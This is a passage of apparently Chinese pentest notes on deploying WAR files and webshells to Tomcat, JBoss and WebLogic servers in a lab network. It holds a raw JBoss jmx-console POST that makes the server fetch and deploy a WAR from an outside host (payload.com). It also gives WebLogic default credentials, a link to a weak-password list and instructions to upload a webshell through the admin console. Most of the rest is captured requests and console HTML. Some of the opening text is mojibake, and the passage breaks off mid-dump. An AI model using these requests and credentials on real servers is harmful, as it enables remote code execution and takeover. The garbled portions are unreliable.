http://192.168.52.128:8080/manager/html/upload;jsessionid=A0F8351E37AA865DDFC5EC921BFB4F9A?org.apache.catalina.filters.CSRF_NONCE=7C49D0AF0355D531EAB7DFE30F00FFA1

çÂĹĄÄşÂĹĽÄşÂÂÄşÂÂÄşÂÂĺżĹçÂÂÄÂÂäżĹ夝

ćĺé¨ç˝˛ĺĺşĺŚä¸ďź

FAIL - War file "test3693.war" already exists on server

http://192.168.52.128:8080/test3693/

0x02### Jboss遠端部署war包
http://192.168.52.128

http://192.168.52.128/jmx-console/

http://192.168.52.128/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL

POST /jmx-console/HtmlAdaptor HTTP/1.1
Host: 192.168.52.120
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 134
Origin: http://192.168.52.128
Connection: close
Referer: http://192.168.52.128/jmx-console/HtmlAdaptor?action=inspectMBean&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL
Cookie: PHPSESSID=ft4551u5ag2pu53sf5n4mgfqr0; immortal_png=undefined; immortal_etag=undefined; immortal_cache=undefined; md=nilihQQQmUvSPuXD1pm61Hk6EMV3222QLOzt4QJQaE8qzwt0lfxNnhjruFVW7odj; JSESSIONID=678AC48E10C635F07B63DEBEAE69ECD6
Upgrade-Insecure-Requests: 1

action=invokeOp&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL&methodIndex=7&arg0=http%3A%2F%2Fpayload.com%2Ftest.war

0x03 ### weblogic部署war包
http://192.168.52.128:7001/console/login/LoginForm.jsp

weblogic:Oracle@123

weblogic常用弱口令: http://cirt.net/passwords?criteria=weblogic

GET /console/login/LoginForm.jsp HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/login/LoginForm.jsp
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951
Connection: close
Cache-Control: max-age=0
HTTP/1.1 200 OK
Cache-Control: no-cache
Connection: close
Date: Mon, 22 Feb 2021 05:56:57 GMT
Pragma: no-cache
Content-Length: 3162
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
<head>
<meta http-equiv="content-type" content="text/html; charset=UTF-8" >
<title>Oracle WebLogic Server Administration Console</title>
<link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css" >
<link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css" >
<link rel="stylesheet" type="text/css" href="/console/css/login.css" >

<script type="text/javascript">
  // Disable frame hijacking  
  if (top != self) top.location.href = location.href;
</script>

<style type="text/css">
html {
    background-color: #185E87;
}
</style>
</head>
<body onload="document.loginData.j_username.focus();">
  <div id="top">
    <div id="login-header">
      <div id="logo">
        
        <img src="/console/framework/skins/wlsconsole/images/Branding_Login_WeblogicConsole.gif" alt="Oracle WebLogic Server Administration Console ">
      </div>
    </div>
    <div id="content">
      <div id="sidebar">
        <img src="/console/framework/skins/wlsconsole/images/Login_11gLogo1.gif" alt="">
      </div>
      <div id="login">
        <div id="title">
          Welcome
        </div>
        <div id="login-form">

    <form id="loginData" name="loginData" method="post" action="/console/j_security_check">
      <div class="message-row">
        <noscript><p class="loginFailed">JavaScript is required. Enable JavaScript to use WebLogic Administration Console.</p></noscript>
        
        
        
          <p>Log in to work with the WebLogic Server domain</p>
        
        
      </div>
      <div class="input-row">
        <label for="j_username">
        Username:</label>
        <span class="ctrl">
          <input class="textinput" type="text" autocomplete="on" name="j_username" id="j_username">
        </span>
      </div>
      <div class="input-row">
        <label for="j_password">
          Password:</label>
        <span class="ctrl">
          <input class="textinput" type="password" autocomplete="on" name="j_password" id="j_password">
        </span>
      </div>
      <div class="button-row">
        <span class="ctrl">
          <input class="formButton" type="submit" 
            onclick="form.submit();this.disabled=true;document.body.style.cursor = 'wait'; this.className='formButton-disabled';"
            value='Login'>
        </span>
        <input type="hidden" name="j_character_encoding" value="UTF-8">
      </div>
    </form>
        </div>
      </div>
    </div>
    <div id="info">
    </div>
  </div>

  <div class="login-footer">
    <div class="info">
      
      <p id="footerVersion">WebLogic Server Version: 10.3.6.0</p>
      <p id="copyright">Copyright &copy; 1996, 2011, Oracle and/or its affiliates. All rights reserved.</p>
      <p id="trademark">Oracle is a registered trademark of Oracle Corporation and/or its affiliates. Other names may be trademarks of their respective owners.</p>
    </div>
  </div>
</body>
</html>

登入成功後調整到如下地址:

http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1

後臺上傳webshell

獲取到管理員密碼後,登入後臺。點選左側的部署,可見一個應用列表:

點選部署的資料包如下:

GET /console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage HTTP/1.1
Host: 192.168.52.128:7001
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.52.128:7001/console/console.portal?_nfpb=true&_pageLabel=HomePage1
Cookie: ADMINCONSOLESESSION=KWbTgzHTnd8sQS7lyhQ1NfjvynrllJtxLZ92R2RtTW9qnvnJNfg1!-1106686951; JSESSIONID=QrzGgzJTYv0TVjxk1Vl2zmcrX4n1Gg25SDWNLvJdfJkbzrRCvK7l!-1106686951
Connection: close
HTTP/1.1 200 OK
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Cache-Control: no-cache,no-store,max-age=0
Connection: close
Date: Mon, 22 Feb 2021 06:08:41 GMT
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Pragma: No-cache
Content-Type: text/html; charset=UTF-8
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Content-Language: en-US
X-Powered-By: Servlet/2.5 JSP/2.1
Content-Length: 43772

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html><head><meta http-equiv="Content-Script-Type" content="text/javascript"><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><title>Summary of Deployments - base_domain - WLS Console</title><link rel="stylesheet" type="text/css" href="/console/framework/skeletons/wlsconsole/css/layout.css"><script src="/console/framework/skeletons/wlsconsole/js/buttons.js" type="text/javascript"></script><script src="/console/framework/skeletons/wlsconsole/js/util.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/general.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/menu.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/window.css"><link rel="stylesheet" type="text/css" href="/console/framework/skins/wlsconsole/css/console.css"><link rel="stylesheet" type="text/css" href="/console/css/content.css"><script src="/console/javascript/consoleUtil.js" type="text/javascript"></script><script src="/console/javascript/console-help.js" type="text/javascript"></script><script src="/console/javascript/recorder.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/changemgmt.css"><link rel="stylesheet" type="text/css" href="/console/css/forms.css"><script src="/console/javascript/changemgmt.js" type="text/javascript"></script><script src="/console/javascript/form.js" type="text/javascript"></script><script src="/console/javascript/PredicateEditor.js" type="text/javascript"></script><script src="/console/javascript/table.js" type="text/javascript"></script><script src="/console/javascript/portletrefresh.js" type="text/javascript"></script><script src="/console/javascript/ButtonMenu.js" type="text/javascript"></script><script src="/console/javascript/chooser.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/navtree.css"><script src="/console/javascript/tree.js" type="text/javascript"></script><link rel="stylesheet" type="text/css" href="/console/css/quicklinks.css"><link rel="stylesheet" type="text/css" href="/console/css/systemstatus.css"></head><body><div class="wlsc-header"><div id="console-header-logo"><a href="#repetitive_links"><img src="images/spacer.gif" alt="Skip repetitive links "></a><div><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1" title="WebLogic Server Administration Console Home"><img src="framework/skins/wlsconsole/images/Branding_WeblogicConsole.gif" id="console-title" alt="WebLogic Server Administration Console Home "></a></div></div><div id="global-links"><span id="pageStatus"><img src="framework/skins/wlsconsole/images/pageIdle.gif" id="pageIdle" title="Idle" alt="Idle"><img src="framework/skins/wlsconsole/images/pageBusy.gif" id="pageBusy" title="Busy" alt="Busy"></span></div><div id="header-trans"><img src="framework/skins/wlsconsole/images/gradient-white-none.png" alt=""></div></div><div id="Home" class="wlsc-book"><div class="wlsc-book-content"><div id="page" class="wlsc-page"><div class="wlsc-2col-layout"><div id="console-content-col"><div id="console-content-col-inner"><div id="ToolbarBook" class="none"><div class="wlsc-book-content"><div id="ToolbarPage" class="wlsc-page"><div id="portlet_toolbar" class="wlsc-window  "><div class="wlsc-window-content">

<script type="text/javascript">
  wls.console.pageHelpURL = null;
  wls.console.pageHelpKey = 'J2EEappdeploymentscontroltabletitle';
</script>


<script type="text/javascript">
   wls.console.recordState = {
     contextRoot: "/console",
     prompt: false,
     recordingStarted: false  
   };
</script>

<div class="toolbar">
  <div class="toolbar-menu">
    <div class="tbframe">
    <div class="tbframeTop"><div><div>&nbsp;</div></div></div>

    <div id="topMenu" class="tbframeContent">
    <ul>
      <li class="first">
        <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1"
		title="WebLogic Server Administration Console Home">
		  <img src="images/home_ena.gif"
		    alt="WebLogic Server Administration Console Home ">
		    Home
		    </a>
      </li>
      <li>
        <a href="/console/jsp/common/warnuserlockheld.jsp">
          Log Out
        </a>
      </li>
      <li>
        <a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=UserPreferencesPageGeneral">
          Preferences
		</a>
      </li>
      <li>
        
        <a href="#" onclick="return wls.console.startAdHocRecord('frsc','0x062430ecab863931868d682e81a64437e4490c23def60129');" id="recordLink" title="Start Recording">
       
          <img id="recordingIcon" src="images/recording.gif"
		    alt="Start Recording ">
		    Record
        
        </a>
        
      </li>
      <li>
        <a href="#" onclick="return wls.console.launchHelp()"
		  title="Help - New window">
		    Help
        </a>
      </li>
	</ul>
    </div>

    <div class="tbframeBottom"><div><div>&nbsp;</div></div></div>
    </div>
  </div>
  
  <div id="topSearch" class="toolbar-menu">
    <div class="tbframe">
    <div class="tbframeTop"><div><div>&nbsp;</div></div></div>

    <div class="tbframeContent">
    <ul>
      <li class="first">
        <form name="mbeanSearchForm" method="POST" action="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=MBeanSearchPage">
          <label class="screenReadersOnly" for="toolbarSearchInput">Search</label>
          <input type="text" id="toolbarSearchInput" name="MBeanSearchPortletsearchString" size="11" value="" class="toolbar-search">
          <button type="button" class="formButton" onclick="this.form.submit();return false;" name="search" title="Search">
            <span class="icon search">&nbsp;</span><span style="display: none;">Search</span>
          </button>
          <input type="hidden" name="_nfpb" value="true">
          <input type="hidden" name="MBeanSearchPortlet_actionOverride" value="/mbeansearch/DisplayResultsAction">
          <input type="hidden" name="_windowLabel" value="MBeanSearchPortlet">
        </form>
      </li>
    </ul>
    </div>

    <div class="tbframeBottom"><div><div>&nbsp;</div></div></div>
    </div>
  </div>
  <div class="toolbar-info">
    <div class="tbframe">
    <div class="tbframeTop"><div><div>&nbsp;</div></div></div>

    <div class="tbframeContent">
      <div id="welcome">
        <p>Welcome, 
        weblogic</p>
      </div>
      <div id="domain">
        <p>Connected to: 
        <strong>base_domain</strong></p>
      </div>
    </div>

    <div class="tbframeBottom"><div><div>&nbsp;</div></div></div>
    </div>
  </div>

</div>
</div></div></div></div></div><div id="LocationContextBook" class="none"><div class="wlsc-book-content"><div id="LocationContextPage" class="wlsc-page"><div id="portlet_history" class="wlsc-window  "><div class="wlsc-window-content"><div class="breadcrumbs"><a href="/console/console.portal?_nfpb=true&amp;_pageLabel=HomePage1">Home</a>&nbsp;&gt;<span class="bclast">Summary of Deployments</span></div><a name="repetitive_links"><img src="images/spacer.gif" alt="End of repetitive links "></a></div></div></div></div></div><div id="WorkpaceMessagesBook" class="none"><div class="wlsc-book-content"><div id="WorkpaceMessagesPage" class="wlsc-page"><div id="portlet_messages" class="wlsc-window  "><div class="wlsc-window-content"><!--messages-region-start--><div id="asyncmessages"><noscript><span class="message_ERROR">JavaScript is required. Enable JavaScript to use WebLogic Administration Console.</span></noscript></div><!--messages-region-end--></div></div></div></div></div><div id="console-content-area" class="none"><div class="wlsc-book-content"><div id="AppDeploymentsBook" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-book-content"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h1>Summary of Deployments</h1></div><div class="wlsc-titlebar-button-panel">&#160;</div></div></div><div id="AppDeploymentsPages" class="wlsc-page"><div id="AppDeploymentsTableBook" class="wlsc-book"><div class="wlsc-menu wlsc-menu-single"><div class="menu-wrapper"><ul><li class="wlsc-menu-active" title="Control- Tab - Selected"><div><span class="tab"><span>Control<span class='screenReadersOnly'>- Tab - Selected</span></span></span></div></li><li class="" title="Monitoring- Tab"><a href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppDeploymentsMonitoringPage&amp;handle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29" title="Monitoring- Tab"><span class="tab"><span>Monitoring</span></span></a></li></ul></div></div><div class="wlsc-book-content"><div id="AppDeploymentsControlPage" class="page-content"><div id="AppDeploymentsControlPortlet" class="wlsc-window  "><div class="wlsc-window-content">

  
<div class="contenttable"><div class="introText">
    <p>This page displays a list of Java EE applications and stand-alone application modules that have been installed to this domain. Installed applications and modules can be started, stopped, updated (redeployed), or deleted from the domain by first selecting the application name and using the controls on this page.</p><p>To install a new application or module for deployment to targets in this domain, click the Install button.</p>
  </div>

    <script type='text/javascript'>
function switchAction(actionName,formName){
  wls.console.doingSubmit();
  document.forms[formName].AppDeploymentsControlPortlet_actionOverride.value = actionName;
  document.forms[formName].submit();
}
function switchPortlet(pageLabel,portlet,formName){ 
  wls.console.doingSubmit();
  document.forms[formName]._pageLabel.value = pageLabel;
  var newName = portlet+"chosenContents";
  renameCheckboxes(document.getElementById(formName),newName);
  document.forms[formName].AppDeploymentsControlPortletfrsc.name= portlet+'frsc';
  document.forms[formName].action=document.forms[formName].action + '?' + portlet + 'returnTo=AppDeploymentsControlPage' + '&AppDeploymentsControlPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29';
  document.forms[formName].submit();
}
function saveIf(evt){
 var key = (document.all) ? window.event.keyCode : evt.keyCode;
 if (key == 27){dismissEdit(); return false;}
 if (key == 13){
     var cell = this;
     var idx = cell.id.indexOf('editor'); var eHandle = cell.id.substring(0,idx); 
     var idxe = cell.id.indexOf('")'); var editr = cell.id.substring(idx+8,cell.id.length-1); 
     var editHandle = "val("+encodeURIComponent(cell.value)+")"+eHandle;
  document.forms['genericTableForm'].action='/console/console.portal?_nfpb=true&_pageLabel=AppDeploymentsControlPage&AppDeploymentsControlPortlet_actionOverride=/'+ editr +'&AppDeploymentsControlPortleteditHandle='+editHandle; 
  return true;
}
}
</script>

      
    <div class="advancedSeparator"><a name='advanced'></a><h3><a title='View table customization' href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage&amp;AppDeploymentsControlPortletadvanced=false#advanced'><img alt='Expand ' src='/console/images/advancedclosed.gif'>&nbsp;Customize this table</a></h3></div><form id="genericTableForm" name="genericTableForm" action='http://192.168.52.128:7001/console/console.portal' method='POST'><div class='tabletitle'>Deployments</div><div class='tablectrl'><table class='tablebuttonbar' summary=''><tr><td class='tablecontrols'><div class="buttonBar">
        <button type='button' onclick='disableButtons();self.location.href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage";return false;' name='Install' class="formButton">Install</button>&#160;
        <button type='button' onclick='disableButtons();switchPortlet("AppApplicationUpdatePage","AppApplicationUpdatePortlet","genericTableForm");return false;' name='Update' class="formButton">Update</button>&#160;<script type='text/javascript'>addTableButtonDependency(exactlyOneSelected,"Update");</script>
        <button type='button' onclick='disableButtons();switchPortlet("AppApplicationUninstallPage","AppApplicationUninstallPortlet","genericTableForm");return false;' name='Delete' class="formButton">Delete</button>&#160;<script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Delete");</script>
        <img src='images/buttonSeparator.gif' alt=''/>
        <button type='button' onclick='return showMenu(this,event);return false;' name='Start' class="formMenuButton">Start<span>&nbsp;</span></button>&#160;<div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul  class='button-menu'>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlStartPage","AppControlStartPortlet","genericTableForm");return false;'><a href="#">Servicing all requests</a></li>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Servicing only administration requests</a></li>
        </ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Start");</script>
        <button type='button' onclick='return showMenu(this,event);return false;' name='Stop' class="formMenuButton">Stop<span>&nbsp;</span></button>&#160;<div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul  class='button-menu'>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlStopPage","AppControlStopPortlet","genericTableForm");return false;'><a href="#">When work completes</a></li>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlForceStopPage","AppControlForceStopPortlet","genericTableForm");return false;'><a href="#">Force Stop Now</a></li>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Stop, but continue servicing administration requests</a></li>
        </ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Stop");</script>
      </div></td><td class='tablenavigation'>Showing 1 to 1 of 1&nbsp;&nbsp;&nbsp;Previous<img src='/console/images/buttonSeparator.gif' alt=''>&nbsp;Next</td></tr></table><table class='datatable' id='genericTableFormtable' summary='Deployments'><colgroup><col class="checkboxColumn"></colgroup><tr><th scope='col'><input type="checkbox" name="all" class='radioAndCheckbox' onclick="checkAll(this, this.form);" title="Click to select all rows" ></th><th scope='col' title='Sort table by Name'><a href='?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage&amp;AppDeploymentsControlPortletsortby=name&amp;AppDeploymentsControlPortletsortdir=1'>Name<span class="nobr">&nbsp;<img src='/console/images/sort_up.gif' alt='Sorted Ascending '></span></a></th><th scope='col' title='Sort table by State'><a href='?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage&amp;AppDeploymentsControlPortletsortby=state'>State<span class="nobr">&nbsp;</span></a></th><th scope='col' title='Sort table by Health'><a href='?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage&amp;AppDeploymentsControlPortletsortby=health'>Health<span class="nobr">&nbsp;</span></a></th><th scope='col' title='Sort table by Type'><a href='?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage&amp;AppDeploymentsControlPortletsortby=type'>Type<span class="nobr">&nbsp;</span></a></th><th scope='col' title='Sort table by Deployment Order'><a href='?_nfpb=true&amp;_pageLabel=AppDeploymentsControlPage&amp;AppDeploymentsControlPortletsortby=deploymentOrder'>Deployment Order<span class="nobr">&nbsp;</span></a></th></tr><tr class='rowEven'><td><input id="AppDeploymentsControlPortletchosenContents" onclick="unCheck(this, this.form);" type="checkbox" name="AppDeploymentsControlPortletchosenContents" title="Select _appsdir_hello_war &#40;autodeployed&#41;" class='radioAndCheckbox' value='com.bea.console.handles.AppDeploymentHandle%28%22com.bea%3AName%3D_appsdir_hello_war%2CType%3DAppDeployment%22%29'></td><td id='name1' width='50%' ><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0"><a href='/console/console.portal?_pageLabel=AppDeploymentsControlPage&amp;_nfpb=true&amp;AppDeploymentsControlPortletexpandNode=ROOTCHILDNODE1'><img src='images/leafclosed.gif' border='0' height='16' width='16' alt='_appsdir_hello_war &#40;autodeployed&#41; Expand Node ' title='_appsdir_hello_war &#40;autodeployed&#41; Expand Node '></a><img align='middle' src='/console/images/deployment/war.gif' alt='Web Application '><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationDispatcherPage&amp;AppApplicationDispatcherPortlethandle=com.bea.console.handles.AppDeploymentHandle%28%22com.bea%3AName%3D_appsdir_hello_war%2CType%3DAppDeployment%22%29' title='_appsdir_hello_war (autodeployed), Level 1, Collapsed, 1 of 1' >_appsdir_hello_war &#40;autodeployed&#41;</a></td><td id='state1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0"><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppDeploymentStatusPage&amp;AppDeploymentStatusPortlethandle=com.bea.console.handles.AppDeploymentHandle%28%22com.bea%3AName%3D_appsdir_hello_war%2CType%3DAppDeployment%22%29'>Active</a></td><td id='health1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0"><img src="images/checkmark_status.gif" alt="">&nbsp;OK</td><td id='type1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0">Web Application</td><td id='deploymentOrder1'><img src="images/spacer.gif" alt="" style="height:1px;" width="0" border="0">100</td></tr></table><table class='tablebuttonbar' summary=''><tr><td class='tablecontrols'><div class="buttonBar">
        <button type='button' onclick='disableButtons();self.location.href="http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=AppApplicationInstallPage";return false;' name='Install' class="formButton">Install</button>&#160;
        <button type='button' onclick='disableButtons();switchPortlet("AppApplicationUpdatePage","AppApplicationUpdatePortlet","genericTableForm");return false;' name='Update' class="formButton">Update</button>&#160;<script type='text/javascript'>addTableButtonDependency(exactlyOneSelected,"Update");</script>
        <button type='button' onclick='disableButtons();switchPortlet("AppApplicationUninstallPage","AppApplicationUninstallPortlet","genericTableForm");return false;' name='Delete' class="formButton">Delete</button>&#160;<script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Delete");</script>
        <img src='images/buttonSeparator.gif' alt=''/>
        <button type='button' onclick='return showMenu(this,event);return false;' name='Start' class="formMenuButton">Start<span>&nbsp;</span></button>&#160;<div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul  class='button-menu'>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlStartPage","AppControlStartPortlet","genericTableForm");return false;'><a href="#">Servicing all requests</a></li>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Servicing only administration requests</a></li>
        </ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Start");</script>
        <button type='button' onclick='return showMenu(this,event);return false;' name='Stop' class="formMenuButton">Stop<span>&nbsp;</span></button>&#160;<div class='button-menu-outer'><div class='menudstr'></div><div class='menudsbl'><div class='menuds'><ul  class='button-menu'>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlStopPage","AppControlStopPortlet","genericTableForm");return false;'><a href="#">When work completes</a></li>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlForceStopPage","AppControlForceStopPortlet","genericTableForm");return false;'><a href="#">Force Stop Now</a></li>
          <li onmouseout='buttonMenuMouseOut(this);' onmouseover='buttonMenuMouseOver(this);'  onclick='disableButtons();switchPortlet("AppControlAdminPage","AppControlAdminPortlet","genericTableForm");return false;'><a href="#">Stop, but continue servicing administration requests</a></li>
        </ul></div></div></div><script type='text/javascript'>addTableButtonDependency(atLeastOneSelected,"Stop");</script>
      </div></td><td class='tablenavigation'>Showing 1 to 1 of 1&nbsp;&nbsp;&nbsp;Previous<img src='/console/images/buttonSeparator.gif' alt=''>&nbsp;Next</td></tr></table></div><input type="hidden" name="_pageLabel" value="AppDeploymentsControlPage"><input type="hidden" name="_nfpb" value="true"><input type="hidden" name="AppDeploymentsControlPortletfrsc" id="AppDeploymentsControlPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129"></form><script type='text/javascript'>initializeTableControls(document.genericTableForm); </script>

  </div></div></div></div></div></div></div></div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div></div><div id="console-nav-col"><div id="ChangeManagerBook" class="none"><div class="wlsc-book-content"><div id="ChangeManagerPage" class="wlsc-page"><div id="ChangeManagerPortlet" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Change Center</h2></div><div class="wlsc-titlebar-button-panel">&#160;</div></div></div><div class="wlsc-window-content">



<p class="changelink"><a href='http://192.168.52.128:7001/console/console.portal?_nfpb=true&amp;_pageLabel=ChangeManagementPage'>
  View changes and restarts</a></p>
<p class="changeliststatus">
  
    
    
      Configuration editing is enabled.  Future changes will automatically be activated as you modify, add or delete items in this domain.
    
 </p>


<form name="changecenterform" action="/console/console.portal" method="POST"><div>
 <input type="hidden" name="ChangeManagerPortlet_actionOverride">
 <input type="hidden" name="changeCenter" value="ChangeCenterClicked">
 <input type="hidden" name="_nfpb" value="true">
 <input type="hidden" name="_pageLabel" value="HomeReserved">
 <input type="hidden" name="ChangeManagerPortletreturnTo" value="">
 <input type="hidden" name="ChangeManagerPortletfrsc" value="0x062430ecab863931868d682e81a64437e4490c23def60129">
</div></form>
</div></div></div></div></div><div class="bottom"><div><div>&nbsp;</div></div></div></div></div></div></div><div id="NavigationBook" class="none"><div class="wlsc-book-content"><div id="NavigationPage" class="wlsc-page"><div id="NavTree" class="wlsc-frame"><div class="top"><div><div>&nbsp;</div></div></div><div class="middle"><div class="r"><div class="c"><div class="c2"><div class="wlsc-titlebar"><div class="float-container"><div class="wlsc-titlebar-title-panel"><h2>Domain Structure</h2></div><div class="wlsc-titlebar-button-panel">&#160;</div></div></div><div class="wlsc-window-content">


<div class="nav-tree-container">
<script src='javascript/treestate.js' type='text/javascript'>//</script>
<script type='text/javascript'> if (req != null) isLocal = true;
  var tNodes=""; </script>
<script type="text/javascript">
    document.write('<div class="JSTree">');
    setBaseDirectory('utils/JStree/images/');
    setTaxonomyDelimeter('.');
{
    _a = new TreeNode('DomainConfigGeneralPage', null, 'base_domain', '/console/console.portal?_nfpb=true&amp;_pageLabel=DomainConfigGeneralPage&DomainConfigGeneralPortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'base_domain', false, true);
    _aa = new TreeNode('EnvironmentsSummaryPage',_a, 'Environment', '/console/console.portal?_nfpb=true&amp;_pageLabel=EnvironmentsSummaryPage', 'images/spacer.gif', 'images/spacer.gif', null, 'Environment', false, true);
    _aaa = new TreeNode('CoreServerServerTablePage',_aa, 'Servers', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreServerServerTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Servers', false, false);
    _aaa = new TreeNode('CoreClusterClusterTablePage',_aa, 'Clusters', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreClusterClusterTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Clusters', false, false);
    _aaa = new TreeNode('CoreVirtualHostVirtualHostTablePage',_aa, 'Virtual Hosts', '/console/console.portal?_nfpb=true&amp;_pageLabel=CoreVirtualHostVirtualHostTablePage', 'images/spacer.gif', 'images/spacer.gif', null, 'Virtual Hosts', false, false);
    _aaa = new TreeNode('MigratableTargetsConfigTablePage',_aa, 'Migratable Targets', '/console/console.portal?_nfpb=true&amp;_pageLabel=MigratableTargetsConfigTablePage&MigratableTargetsConfigTablePortlethandle=com.bea.console.handles.JMXHandle%28%22com.bea%3AName%3Dbase_domain%2CType%3DDomain%22%29', 'images/spacer.gif', 'images/spacer.gif', null, 'Migratable Targets', false, false);
